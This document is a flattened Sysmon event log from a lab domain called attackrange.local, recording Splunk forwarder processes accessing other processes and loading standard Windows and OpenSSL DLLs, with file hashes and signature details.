14:59:18.352{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.356{7BD73061-72C6-613B-630B-00000000F001}5272C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000051555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD0E4CCDB0804B9D10FC0CFADC37EAEB,SHA256=311A05F5D77F3BEC3364FDFA0043DDED5249DD1A973E53AE5C6B47756AE4F968,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1AD4C59A96FD64CDCECB011FA91FAB67,SHA256=48DC7F464BFC5B0A66B75DA26AA62E45E912945B20AC63927F2EEA421BEE0EBE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.352{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7D571E808865272667911BD0344D4DDA,SHA256=55C212061D39227CECA75CD1953125DB9EB1B14E99D3FD901DB0B36FB546B448,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000051552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.121{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000051551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.121{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000051550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.121{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000016515Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:19.301{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17BC27902AE3798661B8AE7FBBAC7D79,SHA256=8D3EF36C5397E3CE90A8E646C96BBE54C41BE1D3423AEF13E01A1A4005DAF719,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000051660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.719{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000051659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.718{7BD73061-72C7-613B-640B-00000000F001}69683908C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.718{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000051657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.717{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000051656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 734700x800000000000000051655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.418{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000051635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 